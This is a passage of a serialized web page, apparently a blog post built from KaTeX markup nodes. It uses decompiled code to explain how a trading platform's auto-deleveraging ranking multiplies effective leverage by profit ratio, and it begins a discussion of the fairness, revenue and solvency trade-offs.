",{"type":24,"tag":37,"props":162703,"children":162706},{"href":162704,"rel":162705},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[41],[162707],{"type":30,"value":162708},"exact source of library functions",{"type":30,"value":436},{"type":24,"tag":33,"props":162711,"children":162712},{},[162713,162715,162720],{"type":30,"value":162714},"Let's see how this ties back into the ",{"type":24,"tag":156,"props":162716,"children":162718},{"className":162717},[],[162719],{"type":30,"value":161799},{"type":30,"value":476},{"type":24,"tag":161474,"props":162722,"children":162724},{"source":161799,"target":162655,"direction":161800,"path":162723},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":24,"tag":33,"props":162726,"children":162727},{},[162728],{"type":30,"value":162729},"And here's the main call site used for sorting:",{"type":24,"tag":161474,"props":162731,"children":162734},{"addr":161845,"line-start":162732,"line-end":162733},"2806","2814",[],{"type":24,"tag":68,"props":162736,"children":162738},{"id":162737},"ratio-1-effective-leverage",[162739],{"type":30,"value":162740},"Ratio 1: Effective Leverage",{"type":24,"tag":920,"props":162742,"children":162743},{},[162744],{"type":24,"tag":156,"props":162745,"children":162747},{"className":162746},[7098,161502],[162748],{"type":24,"tag":930,"props":162749,"children":162751},{"className":162750},[161507],[162752],{"type":24,"tag":930,"props":162753,"children":162755},{"className":162754},[7104],[162756],{"type":24,"tag":930,"props":162757,"children":162759},{"className":162758,"ariaHidden":7110},[7109],[162760,162791],{"type":24,"tag":930,"props":162761,"children":162763},{"className":162762},[7115],[162764,162768,162778,162782,162787],{"type":24,"tag":930,"props":162765,"children":162767},{"className":162766,"style":117530},[7120],[],{"type":24,"tag":930,"props":162769,"children":162771},{"className":162770},[7126,30],[162772],{"type":24,"tag":930,"props":162773,"children":162775},{"className":162774},[7126],[162776],{"type":30,"value":162777},"effective leverage",{"type":24,"tag":930,"props":162779,"children":162781},{"className":162780,"style":7304},[7206],[],{"type":24,"tag":930,"props":162783,"children":162785},{"className":162784},[7309],[162786],{"type":30,"value":1161},{"type":24,"tag":930,"props":162788,"children":162790},{"className":162789,"style":7304},[7206],[],{"type":24,"tag":930,"props":162792,"children":162794},{"className":162793},[7115],[162795,162800],{"type":24,"tag":930,"props":162796,"children":162799},{"className":162797,"style":162798},[7120],"height:2.113em;vertical-align:-0.686em;",[],{"type":24,"tag":930,"props":162801,"children":162803},{"className":162802},[7126],[162804,162808,162903],{"type":24,"tag":930,"props":162805,"children":162807},{"className":162806},[24818,115993],[],{"type":24,"tag":930,"props":162809,"children":162811},{"className":162810},[115998],[162812],{"type":24,"tag":930,"props":162813,"children":162815},{"className":162814},[7147,24743],[162816,162891],{"type":24,"tag":930,"props":162817,"children":162819},{"className":162818},[7152],[162820,162886],{"type":24,"tag":930,"props":162821,"children":162823},{"className":162822,"style":161580},[7157],[162824,162845,162856],{"type":24,"tag":930,"props":162825,"children":162826},{"style":161584},[162827,162831],{"type":24,"tag":930,"props":162828,"children":162830},{"className":162829,"style":114646},[7166],[],{"type":24,"tag":930,"props":162832,"children":162834},{"className":162833},[7126],[162835],{"type":24,"tag":930,"props":162836,"children":162838},{"className":162837},[7126,30],[162839],{"type":24,"tag":930,"props":162840,"children":162842},{"className":162841},[7126],[162843],{"type":30,"value":162844},"account value",{"type":24,"tag":930,"props":162846,"children":162847},{"style":116048},[162848,162852],{"type":24,"tag":930,"props":162849,"children":162851},{"className":162850,"style":114646},[7166],[],{"type":24,"tag":930,"props":162853,"children":162855},{"className":162854,"style":116058},[116057],[],{"type":24,"tag":930,"props":162857,"children":162858},{"style":161635},[162859,162863],{"type":24,"tag":930,"props":162860,"children":162862},{"className":162861,"style":114646},[7166],[],{"type":24,"tag":930,"props":162864,"children":162866},{"className":162865},[7126],[162867,162872,162881],{"type":24,"tag":930,"props":162868,"children":162870},{"className":162869},[7126],[162871],{"type":30,"value":161650},{"type":24,"tag":930,"props":162873,"children":162875},{"className":162874},[7126,30],[162876],{"type":24,"tag":930,"props":162877,"children":162879},{"className":162878},[7126],[162880],{"type":30,"value":161660},{"type":24,"tag":930,"props":162882,"children":162884},{"className":162883},[7126],[162885],{"type":30,"value":161650},{"type":24,"tag":930,"props":162887,"children":162889},{"className":162888},[24846],[162890],{"type":30,"value":24849},{"type":24,"tag":930,"props":162892,"children":162894},{"className":162893},[7152],[162895],{"type":24,"tag":930,"props":162896,"children":162899},{"className":162897,"style":162898},[7157],"height:0.686em;",[162900],{"type":24,"tag":930,"props":162901,"children":162902},{},[],{"type":24,"tag":930,"props":162904,"children":162906},{"className":162905},[24840,115993],[],{"type":24,"tag":33,"props":162908,"children":162909},{},[162910,162912,162918,162920,162926,162927,162933,162935,162941],{"type":30,"value":162911},"We can see in the decompilation below, through the SIMD noise, that ",{"type":24,"tag":156,"props":162913,"children":162915},{"className":162914},[],[162916],{"type":30,"value":162917},"abs_notional",{"type":30,"value":162919}," (unsigned), and ",{"type":24,"tag":156,"props":162921,"children":162923},{"className":162922},[],[162924],{"type":30,"value":162925},"float.d(rbx)",{"type":30,"value":3678},{"type":24,"tag":156,"props":162928,"children":162930},{"className":162929},[],[162931],{"type":30,"value":162932},"account_value",{"type":30,"value":162934}," (signed); the division is ",{"type":24,"tag":156,"props":162936,"children":162938},{"className":162937},[],[162939],{"type":30,"value":162940},"abs_notional / account_value",{"type":30,"value":436},{"type":24,"tag":33,"props":162943,"children":162944},{},[162945],{"type":30,"value":162946},"This tells us the risk multiplier that the user took on for this position.",{"type":24,"tag":161474,"props":162948,"children":162952},{"addr":162949,"line-start":162950,"line-end":162951},"0x555556abb140","278","296",[],{"type":24,"tag":68,"props":162954,"children":162956},{"id":162955},"ratio-2-profit-ratio",[162957],{"type":30,"value":162958},"Ratio 2: Profit Ratio",{"type":24,"tag":920,"props":162960,"children":162961},{},[162962],{"type":24,"tag":156,"props":162963,"children":162965},{"className":162964},[7098,161502],[162966],{"type":24,"tag":930,"props":162967,"children":162969},{"className":162968},[161507],[162970],{"type":24,"tag":930,"props":162971,"children":162973},{"className":162972},[7104],[162974],{"type":24,"tag":930,"props":162975,"children":162977},{"className":162976,"ariaHidden":7110},[7109],[162978,163009],{"type":24,"tag":930,"props":162979,"children":162981},{"className":162980},[7115],[162982,162986,162996,163000,163005],{"type":24,"tag":930,"props":162983,"children":162985},{"className":162984,"style":117530},[7120],[],{"type":24,"tag":930,"props":162987,"children":162989},{"className":162988},[7126,30],[162990],{"type":24,"tag":930,"props":162991,"children":162993},{"className":162992},[7126],[162994],{"type":30,"value":162995},"profit ratio",{"type":24,"tag":930,"props":162997,"children":162999},{"className":162998,"style":7304},[7206],[],{"type":24,"tag":930,"props":163001,"children":163003},{"className":163002},[7309],[163004],{"type":30,"value":1161},{"type":24,"tag":930,"props":163006,"children":163008},{"className":163007,"style":7304},[7206],[],{"type":24,"tag":930,"props":163010,"children":163012},{"className":163011},[7115],[163013,163017],{"type":24,"tag":930,"props":163014,"children":163016},{"className":163015,"style":161555},[7120],[],{"type":24,"tag":930,"props":163018,"children":163020},{"className":163019},[7126],[163021,163025,163144],{"type":24,"tag":930,"props":163022,"children":163024},{"className":163023},[24818,115993],[],{"type":24,"tag":930,"props":163026,"children":163028},{"className":163027},[115998],[163029],{"type":24,"tag":930,"props":163030,"children":163032},{"className":163031},[7147,24743],[163033,163133],{"type":24,"tag":930,"props":163034,"children":163036},{"className":163035},[7152],[163037,163128],{"type":24,"tag":930,"props":163038,"children":163040},{"className":163039,"style":161580},[7157],[163041,163062,163073],{"type":24,"tag":930,"props":163042,"children":163043},{"style":161584},[163044,163048],{"type":24,"tag":930,"props":163045,"children":163047},{"className":163046,"style":114646},[7166],[],{"type":24,"tag":930,"props":163049,"children":163051},{"className":163050},[7126],[163052],{"type":24,"tag":930,"props":163053,"children":163055},{"className":163054},[7126,30],[163056],{"type":24,"tag":930,"props":163057,"children":163059},{"className":163058},[7126],[163060],{"type":30,"value":163061},"entry notional",{"type":24,"tag":930,"props":163063,"children":163064},{"style":116048},[163065,163069],{"type":24,"tag":930,"props":163066,"children":163068},{"className":163067,"style":114646},[7166],[],{"type":24,"tag":930,"props":163070,"children":163072},{"className":163071,"style":116058},[116057],[],{"type":24,"tag":930,"props":163074,"children":163075},{"style":161635},[163076,163080],{"type":24,"tag":930,"props":163077,"children":163079},{"className":163078,"style":114646},[7166],[],{"type":24,"tag":930,"props":163081,"children":163083},{"className":163082},[7126],[163084,163090,163095,163105,163110,163114,163118,163123],{"type":24,"tag":930,"props":163085,"children":163087},{"className":163086},[24725],[163088],{"type":30,"value":163089},"max",{"type":24,"tag":930,"props":163091,"children":163093},{"className":163092},[24818],[163094],{"type":30,"value":1010},{"type":24,"tag":930,"props":163096,"children":163098},{"className":163097},[7126,30],[163099],{"type":24,"tag":930,"props":163100,"children":163102},{"className":163101},[7126],[163103],{"type":30,"value":163104},"pnl",{"type":24,"tag":930,"props":163106,"children":163108},{"className":163107},[7238],[163109],{"type":30,"value":7241},{"type":24,"tag":930,"props":163111,"children":163113},{"className":163112,"style":7245},[7206],[],{"type":24,"tag":930,"props":163115,"children":163117},{"className":163116,"style":7245},[7206],[],{"type":24,"tag":930,"props":163119,"children":163121},{"className":163120},[7126],[163122],{"type":30,"value":1818},{"type":24,"tag":930,"props":163124,"children":163126},{"className":163125},[24840],[163127],{"type":30,"value":6249},{"type":24,"tag":930,"props":163129,"children":163131},{"className":163130},[24846],[163132],{"type":30,"value":24849},{"type":24,"tag":930,"props":163134,"children":163136},{"className":163135},[7152],[163137],{"type":24,"tag":930,"props":163138,"children":163140},{"className":163139,"style":161678},[7157],[163141],{"type":24,"tag":930,"props":163142,"children":163143},{},[],{"type":24,"tag":930,"props":163145,"children":163147},{"className":163146},[24840,115993],[],{"type":24,"tag":33,"props":163149,"children":163150},{},[163151,163153,163159],{"type":30,"value":163152},"It uses entry notional (",{"type":24,"tag":156,"props":163154,"children":163156},{"className":163155},[],[163157],{"type":30,"value":163158},"r14_2",{"type":30,"value":163160},") as the divisor. PNL is clamped to non-negative before division.",{"type":24,"tag":33,"props":163162,"children":163163},{},[163164],{"type":30,"value":163165},"This basically tells us how well the user's bet went.",{"type":24,"tag":161474,"props":163167,"children":163171},{"addr":163168,"addr-start":163169,"addr-end":163170},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":24,"tag":33,"props":163173,"children":163174},{},[163175,163177,163183,163185,163191],{"type":30,"value":163176},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":24,"tag":156,"props":163178,"children":163180},{"className":163179},[],[163181],{"type":30,"value":163182},"1e-8",{"type":30,"value":163184},", in order not to cancel each other out. The final ADL ranking score is ",{"type":24,"tag":156,"props":163186,"children":163188},{"className":163187},[],[163189],{"type":30,"value":163190},"effective_leverage * profit_ratio",{"type":30,"value":163192},", consistent with both ratio directions and the max clamp on PNL.",{"type":24,"tag":33,"props":163194,"children":163195},{},[163196],{"type":30,"value":163197},"So, in essence, we look for risky and profitable positions!",{"type":24,"tag":151,"props":163199,"children":163201},{"id":163200},"partial-and-total-adl",[163202],{"type":30,"value":163203},"Partial and Total ADL",{"type":24,"tag":33,"props":163205,"children":163206},{},[163207],{"type":30,"value":163208},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":24,"tag":33,"props":163210,"children":163211},{},[163212],{"type":30,"value":163213},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":24,"tag":33,"props":163215,"children":163216},{},[163217,163219,163224],{"type":30,"value":163218},"So essentially, in pseudocode, the whole latter part of ",{"type":24,"tag":156,"props":163220,"children":163222},{"className":163221},[],[163223],{"type":30,"value":161799},{"type":30,"value":163225}," boils down to:",{"type":24,"tag":161474,"props":163227,"children":163230},{"addr":161845,"line-start":163228,"line-end":163229},"3252","3632",[],{"type":24,"tag":33,"props":163232,"children":163233},{},[163234],{"type":30,"value":163235},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":24,"tag":25,"props":163237,"children":163239},{"id":163238},"branches",[163240],{"type":30,"value":163241},"Branches",{"type":24,"tag":33,"props":163243,"children":163244},{},[163245],{"type":30,"value":163246},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":24,"tag":33,"props":163248,"children":163249},{},[163250],{"type":30,"value":163251},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":24,"tag":25,"props":163253,"children":163255},{"id":163254},"financial-conclusions",[163256],{"type":30,"value":163257},"Financial Conclusions",{"type":24,"tag":68,"props":163259,"children":163261},{"id":163260},"fairness-revenue-solvency-trilemma",[163262],{"type":30,"value":163263},"Fairness, Revenue, Solvency Trilemma",{"type":24,"tag":33,"props":163265,"children":163266},{},[163267,163269,163275],{"type":30,"value":163268},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":24,"tag":37,"props":163270,"children":163272},{"href":162627,"rel":163271},[41],[163273],{"type":30,"value":163274},"the paper mentioned before",{"type":30,"value":163276},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":24,"tag":96,"props":163278,"children":163279},{},[163280,163290,163300],{"type":24,"tag":100,"props":163281,"children":163282},{},[163283,163288],{"type":24,"tag":6032,"props":163284,"children":163285},{},[163286],{"type":30,"value":163287},"Solvency",{"type":30,"value":163289},": can the platform pay every trader out?",{"type":24,"tag":100,"props":163291,"children":163292},{},[163293,163298],{"type":24,"tag":6032,"props":163294,"children":163295},{},[163296],{"type":30,"value":163297},"Fairness",{"type":30,"value":163299},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":24,"tag":100,"props":163301,"children":163302},{},[163303,163308],{"type":24,"tag":6032,"props":163304,"children":163305},{},[163306],{"type":30,"value":163307},"Revenue",{"type":30,"value":163309},": the fraction of total winner PNL that survives after deleveraging.",{"type":24,"tag":33,"props":163311,"children":163312},{},[163313],{"type":30,"value":163314},"Let's borrow these definitions from the paper:",{"type":24,"tag":920,"props":163316,"children":163317},{},[163318],{"type":24,"tag":156,"props":163319,"children":163321},{"className":163320},[7098,161502],[163322],{"type":24,"tag":930,"props":163323,"children":163325},{"className":163324},[161507],[163326],{"type":24,"tag":930,"props":163327,"children":163329},{"className":163328},[7104],[163330],{"type":24,"tag":930,"props":163331,"children":163333},{"className":163332,"ariaHidden":7110},[7109],[163334],{"type":24,"tag":930,"props":163335,"children":163337},{"className":163336},[7115],[163338,163343],{"type":24,"tag":930,"props":163339,"children":163342},{"className":163340,"style":163341},[7120],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":24,"tag":930,"props":163344,"children":163346},{"className":163345},[7126],[163347],{"type":24,"tag":930,"props":163348,"children":163350},{"className":163349},[162204],[163351,164170],{"type":24,"tag":930,"props":163352,"children":163354},{"className":163353},[162209],[163355],{"type":24,"tag":930,"props":163356,"children":163358},{"className":163357},[7147,24743],[163359,164158],{"type":24,"tag":930,"props":163360,"children":163362},{"className":163361},[7152],[163363,164153],{"type":24,"tag":930,"props":163364,"children":163367},{"className":163365,"style":163366},[7157],"height:11.8392em;",[163368,163439,163456,163525,163595,163664,163734,163803,163872,163941,164011,164082],{"type":24,"tag":930,"props":163369,"children":163371},{"style":163370},"top:-14.3707em;",[163372,163377],{"type":24,"tag":930,"props":163373,"children":163376},{"className":163374,"style":163375},[7166],"height:3.3714em;",[],{"type":24,"tag":930,"props":163378,"children":163380},{"className":163379},[7126],[163381],{"type":24,"tag":930,"props":163382,"children":163384},{"className":163383},[7126],[163385,163390],{"type":24,"tag":930,"props":163386,"children":163388},{"className":163387,"style":24691},[7126,24690],[163389],{"type":30,"value":24694},{"type":24,"tag":930,"props":163391,"children":163393},{"className":163392},[7142],[163394],{"type":24,"tag":930,"props":163395,"children":163397},{"className":163396},[7147,24743],[163398,163428],{"type":24,"tag":930,"props":163399,"children":163401},{"className":163400},[7152],[163402,163423],{"type":24,"tag":930,"props":163403,"children":163405},{"className":163404,"style":111907},[7157],[163406],{"type":24,"tag":930,"props":163407,"children":163409},{"style":163408},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[163410,163414],{"type":24,"tag":930,"props":163411,"children":163413},{"className":163412,"style":7167},[7166],[],{"type":24,"tag":930,"props":163415,"children":163417},{"className":163416},[7172,7173,7174,7175],[163418],{"type":24,"tag":930,"props":163419,"children":163421},{"className":163420},[7126,24690,7175],[163422],{"type":30,"value":59493},{"type":24,"tag":930,"props":163424,"children":163426},{"className":163425},[24846],[163427],{"type":30,"value":24849},{"type":24,"tag":930,"props":163429,"children":163431},{"className":163430},[7152],[163432],{"type":24,"tag":930,"props":163433,"children":163435},{"className":163434,"style":96195},[7157],[163436],{"type":24,"tag":930,"props":163437,"children":163438},{},[],{"type":24,"tag":930,"props":163440,"children":163442},{"style":163441},"top:-12.8707em;",[163443,163447],{"type":24,"tag":930,"props":163444,"children":163446},{"className":163445,"style":163375},[7166],[],{"type":24,"tag":930,"props":163448,"children":163450},{"className":163449},[7126],[163451],{"type":24,"tag":930,"props":163452,"children":163454},{"className":163453,"style":98132},[7126,24690],[163455],{"type":30,"value":98166},{"type":24,"tag":930,"props":163457,"children":163459},{"style":163458},"top:-10.8392em;",[163460,163464],{"type":24,"tag":930,"props":163461,"children":163463},{"className":163462,"style":163375},[7166],[],{"type":24,"tag":930,"props":163465,"children":163467},{"className":163466},[7126],[163468],{"type":24,"tag":930,"props":163469,"children":163471},{"className":163470},[7126],[163472,163477],{"type":24,"tag":930,"props":163473,"children":163475},{"className":163474},[7126,24690],[163476],{"type":30,"value":6268},{"type":24,"tag":930,"props":163478,"children":163480},{"className":163479},[7142],[163481],{"type":24,"tag":930,"props":163482,"children":163484},{"className":163483},[7147,24743],[163485,163514],{"type":24,"tag":930,"props":163486,"children":163488},{"className":163487},[7152],[163489,163509],{"type":24,"tag":930,"props":163490,"children":163492},{"className":163491,"style":96641},[7157],[163493],{"type":24,"tag":930,"props":163494,"children":163495},{"style":96168},[163496,163500],{"type":24,"tag":930,"props":163497,"children":163499},{"className":163498,"style":7167},[7166],[],{"type":24,"tag":930,"props":163501,"children":163503},{"className":163502},[7172,7173,7174,7175],[163504],{"type":24,"tag":930,"props":163505,"children":163507},{"className":163506},[7126,24690,7175],[163508],{"type":30,"value":6854},{"type":24,"tag":930,"props":163510,"children":163512},{"className":163511},[24846],[163513],{"type":30,"value":24849},{"type":24,"tag":930,"props":163515,"children":163517},{"className":163516},[7152],[163518],{"type":24,"tag":930,"props":163519,"children":163521},{"className":163520,"style":96195},[7157],[163522],{"type":24,"tag":930,"props":163523,"children":163524},{},[],{"type":24,"tag":930,"props":163526,"children":163528},{"style":163527},"top:-8.8188em;",[163529,163533],{"type":24,"tag":930,"props":163530,"children":163532},{"className":163531,"style":163375},[7166],[],{"type":24,"tag":930,"props":163534,"children":163536},{"className":163535},[7126],[163537],{"type":24,"tag":930,"props":163538,"children":163540},{"className":163539},[7126],[163541,163547],{"type":24,"tag":930,"props":163542,"children":163544},{"className":163543,"style":96598},[7126,24690],[163545],{"type":30,"value":163546},"π",{"type":24,"tag":930,"props":163548,"children":163550},{"className":163549},[7142],[163551],{"type":24,"tag":930,"props":163552,"children":163554},{"className":163553},[7147,24743],[163555,163584],{"type":24,"tag":930,"props":163556,"children":163558},{"className":163557},[7152],[163559,163579],{"type":24,"tag":930,"props":163560,"children":163562},{"className":163561,"style":96641},[7157],[163563],{"type":24,"tag":930,"props":163564,"children":163565},{"style":96645},[163566,163570],{"type":24,"tag":930,"props":163567,"children":163569},{"className":163568,"style":7167},[7166],[],{"type":24,"tag":930,"props":163571,"children":163573},{"className":163572},[7172,7173,7174,7175],[163574],{"type":24,"tag":930,"props":163575,"children":163577},{"className":163576},[7126,24690,7175],[163578],{"type":30,"value":6854},{"type":24,"tag":930,"props":163580,"children":163582},{"className":163581},[24846],[163583],{"type":30,"value":24849},{"type":24,"tag":930,"props":163585,"children":163587},{"className":163586},[7152],[163588],{"type":24,"tag":930,"props":163589,"children":163591},{"className":163590,"style":96195},[7157],[163592],{"type":24,"tag":930,"props":163593,"children":163594},{},[],{"type":24,"tag":930,"props":163596,"children":163598},{"style":163597},"top:-7.3188em;",[163599,163603],{"type":24,"tag":930,"props":163600,"children":163602},{"className":163601,"style":163375},[7166],[],{"type":24,"tag":930,"props":163604,"children":163606},{"className":163605},[7126],[163607],{"type":24,"tag":930,"props":163608,"children":163610},{"className":163609},[7126],[163611,163616],{"type":24,"tag":930,"props":163612,"children":163614},{"className":163613},[7126,24690],[163615],{"type":30,"value":54543},{"type":24,"tag":930,"props":163617,"children":163619},{"className":163618},[7142],[163620],{"type":24,"tag":930,"props":163621,"children":163623},{"className":163622},[7147,24743],[163624,163653],{"type":24,"tag":930,"props":163625,"children":163627},{"className":163626},[7152],[163628,163648],{"type":24,"tag":930,"props":163629,"children":163631},{"className":163630,"style":96641},[7157],[163632],{"type":24,"tag":930,"props":163633,"children":163634},{"style":96168},[163635,163639],{"type":24,"tag":930,"props":163636,"children":163638},{"className":163637,"style":7167},[7166],[],{"type":24,"tag":930,"props":163640,"children":163642},{"className":163641},[7172,7173,7174,7175],[163643],{"type":24,"tag":930,"props":163644,"children":163646},{"className":163645},[7126,24690,7175],[163647],{"type":30,"value":6854},{"type":24,"tag":930,"props":163649,"children":163651},{"className":163650},[24846],[163652],{"type":30,"value":24849},{"type":24,"tag":930,"props":163654,"children":163656},{"className":163655},[7152],[163657],{"type":24,"tag":930,"props":163658,"children":163660},{"className":163659,"style":96195},[7157],[163661],{"type":24,"tag":930,"props":163662,"children":163663},{},[],{"type":24,"tag":930,"props":163665,"children":163667},{"style":163666},"top:-5.8188em;",[163668,163672],{"type":24,"tag":930,"props":163669,"children":163671},{"className":163670,"style":163375},[7166],[],{"type":24,"tag":930,"props":163673,"children":163675},{"className":163674},[7126],[163676],{"type":24,"tag":930,"props":163677,"children":163679},{"className":163678},[7126],[163680,163685],{"type":24,"tag":930,"props":163681,"children":163683},{"className":163682,"style":124755},[7126,24690],[163684],{"type":30,"value":52661},{"type":24,"tag":930,"props":163686,"children":163688},{"className":163687},[7142],[163689],{"type":24,"tag":930,"props":163690,"children":163692},{"className":163691},[7147,24743],[163693,163723],{"type":24,"tag":930,"props":163694,"children":163696},{"className":163695},[7152],[163697,163718],{"type":24,"tag":930,"props":163698,"children":163700},{"className":163699,"style":96641},[7157],[163701],{"type":24,"tag":930,"props":163702,"children":163704},{"style":163703},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[163705,163709],{"type":24,"tag":930,"props":163706,"children":163708},{"className":163707,"style":7167},[7166],[],{"type":24,"tag":930,"props":163710,"children":163712},{"className":163711},[7172,7173,7174,7175],[163713],{"type":24,"tag":930,"props":163714,"children":163716},{"className":163715},[7126,24690,7175],[163717],{"type":30,"value":6854},{"type":24,"tag":930,"props":163719,"children":163721},{"className":163720},[24846],[163722],{"type":30,"value":24849},{"type":24,"tag":930,"props":163724,"children":163726},{"className":163725},[7152],[163727],{"type":24,"tag":930,"props":163728,"children":163730},{"className":163729,"style":96195},[7157],[163731],{"type":24,"tag":930,"props":163732,"children":163733},{},[],{"type":24,"tag":930,"props":163735,"children":163737},{"style":163736},"top:-4.3188em;",[163738,163742],{"type":24,"tag":930,"props":163739,"children":163741},{"className":163740,"style":163375},[7166],[],{"type":24,"tag":930,"props":163743,"children":163745},{"className":163744},[7126],[163746],{"type":24,"tag":930,"props":163747,"children":163749},{"className":163748},[7126],[163750,163755],{"type":24,"tag":930,"props":163751,"children":163753},{"className":163752},[7126,24690],[163754],{"type":30,"value":22378},{"type":24,"tag":930,"props":163756,"children":163758},{"className":163757},[7142],[163759],{"type":24,"tag":930,"props":163760,"children":163762},{"className":163761},[7147,24743],[163763,163792],{"type":24,"tag":930,"props":163764,"children":163766},{"className":163765},[7152],[163767,163787],{"type":24,"tag":930,"props":163768,"children":163770},{"className":163769,"style":96641},[7157],[163771],{"type":24,"tag":930,"props":163772,"children":163773},{"style":96168},[163774,163778],{"type":24,"tag":930,"props":163775,"children":163777},{"className":163776,"style":7167},[7166],[],{"type":24,"tag":930,"props":163779,"children":163781},{"className":163780},[7172,7173,7174,7175],[163782],{"type":24,"tag":930,"props":163783,"children":163785},{"className":163784},[7126,24690,7175],[163786],{"type":30,"value":6854},{"type":24,"tag":930,"props":163788,"children":163790},{"className":163789},[24846],[163791],{"type":30,"value":24849},{"type":24,"tag":930,"props":163793,"children":163795},{"className":163794},[7152],[163796],{"type":24,"tag":930,"props":163797,"children":163799},{"className":163798,"style":96195},[7157],[163800],{"type":24,"tag":930,"props":163801,"children":163802},{},[],{"type":24,"tag":930,"props":163804,"children":163806},{"style":163805},"top:-2.5512em;",[163807,163811],{"type":24,"tag":930,"props":163808,"children":163810},{"className":163809,"style":163375},[7166],[],{"type":24,"tag":930,"props":163812,"children":163814},{"className":163813},[7126],[163815],{"type":24,"tag":930,"props":163816,"children":163818},{"className":163817},[7126],[163819,163824],{"type":24,"tag":930,"props":163820,"children":163822},{"className":163821},[7126,24690],[163823],{"type":30,"value":87415},{"type":24,"tag":930,"props":163825,"children":163827},{"className":163826},[7142],[163828],{"type":24,"tag":930,"props":163829,"children":163831},{"className":163830},[7147,24743],[163832,163861],{"type":24,"tag":930,"props":163833,"children":163835},{"className":163834},[7152],[163836,163856],{"type":24,"tag":930,"props":163837,"children":163839},{"className":163838,"style":96641},[7157],[163840],{"type":24,"tag":930,"props":163841,"children":163842},{"style":96168},[163843,163847],{"type":24,"tag":930,"props":163844,"children":163846},{"className":163845,"style":7167},[7166],[],{"type":24,"tag":930,"props":163848,"children":163850},{"className":163849},[7172,7173,7174,7175],[163851],{"type":24,"tag":930,"props":163852,"children":163854},{"className":163853},[7126,24690,7175],[163855],{"type":30,"value":6854},{"type":24,"tag":930,"props":163857,"children":163859},{"className":163858},[24846],[163860],{"type":30,"value":24849},{"type":24,"tag":930,"props":163862,"children":163864},{"className":163863},[7152],[163865],{"type":24,"tag":930,"props":163866,"children":163868},{"className":163867,"style":96195},[7157],[163869],{"type":24,"tag":930,"props":163870,"children":163871},{},[],{"type":24,"tag":930,"props":163873,"children":163875},{"style":163874},"top:-0.3652em;",[163876,163880],{"type":24,"tag":930,"props":163877,"children":163879},{"className":163878,"style":163375},[7166],[],{"type":24,"tag":930,"props":163881,"children":163883},{"className":163882},[7126],[163884],{"type":24,"tag":930,"props":163885,"children":163887},{"className":163886},[7126],[163888,163893],{"type":24,"tag":930,"props":163889,"children":163891},{"className":163890,"style":96346},[7126,24690],[163892],{"type":30,"value":96349},{"type":24,"tag":930,"props":163894,"children":163896},{"className":163895},[7142],[163897],{"type":24,"tag":930,"props":163898,"children":163900},{"className":163899},[7147,24743],[163901,163930],{"type":24,"tag":930,"props":163902,"children":163904},{"className":163903},[7152],[163905,163925],{"type":24,"tag":930,"props":163906,"children":163908},{"className":163907,"style":145030},[7157],[163909],{"type":24,"tag":930,"props":163910,"children":163911},{"style":112904},[163912,163916],{"type":24,"tag":930,"props":163913,"children":163915},{"className":163914,"style":7167},[7166],[],{"type":24,"tag":930,"props":163917,"children":163919},{"className":163918},[7172,7173,7174,7175],[163920],{"type":24,"tag":930,"props":163921,"children":163923},{"className":163922,"style":24691},[7126,24690,7175],[163924],{"type":30,"value":9100},{"type":24,"tag":930,"props":163926,"children":163928},{"className":163927},[24846],[163929],{"type":30,"value":24849},{"type":24,"tag":930,"props":163931,"children":163933},{"className":163932},[7152],[163934],{"type":24,"tag":930,"props":163935,"children":163937},{"className":163936,"style":96195},[7157],[163938],{"type":24,"tag":930,"props":163939,"children":163940},{},[],{"type":24,"tag":930,"props":163942,"children":163944},{"style":163943},"top:2.2624em;",[163945,163949],{"type":24,"tag":930,"props":163946,"children":163948},{"className":163947,"style":163375},[7166],[],{"type":24,"tag":930,"props":163950,"children":163952},{"className":163951},[7126],[163953],{"type":24,"tag":930,"props":163954,"children":163956},{"className":163955},[7126],[163957,163963],{"type":24,"tag":930,"props":163958,"children":163960},{"className":163959,"style":96112},[7126,24690],[163961],{"type":30,"value":163962},"D",{"type":24,"tag":930,"props":163964,"children":163966},{"className":163965},[7142],[163967],{"type":24,"tag":930,"props":163968,"children":163970},{"className":163969},[7147,24743],[163971,164000],{"type":24,"tag":930,"props":163972,"children":163974},{"className":163973},[7152],[163975,163995],{"type":24,"tag":930,"props":163976,"children":163978},{"className":163977,"style":145030},[7157],[163979],{"type":24,"tag":930,"props":163980,"children":163981},{"style":112474},[163982,163986],{"type":24,"tag":930,"props":163983,"children":163985},{"className":163984,"style":7167},[7166],[],{"type":24,"tag":930,"props":163987,"children":163989},{"className":163988},[7172,7173,7174,7175],[163990],{"type":24,"tag":930,"props":163991,"children":163993},{"className":163992,"style":24691},[7126,24690,7175],[163994],{"type":30,"value":9100},{"type":24,"tag":930,"props":163996,"children":163998},{"className":163997},[24846],[163999],{"type":30,"value":24849},{"type":24,"tag":930,"props":164001,"children":164003},{"className":164002},[7152],[164004],{"type":24,"tag":930,"props":164005,"children":164007},{"className":164006,"style":96195},[7157],[164008],{"type":24,"tag":930,"props":164009,"children":164010},{},[],{"type":24,"tag":930,"props":164012,"children":164014},{"style":164013},"top:4.8901em;",[164015,164019],{"type":24,"tag":930,"props":164016,"children":164018},{"className":164017,"style":163375},[7166],[],{"type":24,"tag":930,"props":164020,"children":164022},{"className":164021},[7126],[164023],{"type":24,"tag":930,"props":164024,"children":164026},{"className":164025},[7126],[164027,164033],{"type":24,"tag":930,"props":164028,"children":164030},{"className":164029,"style":98120},[7126,24690],[164031],{"type":30,"value":164032},"U",{"type":24,"tag":930,"props":164034,"children":164036},{"className":164035},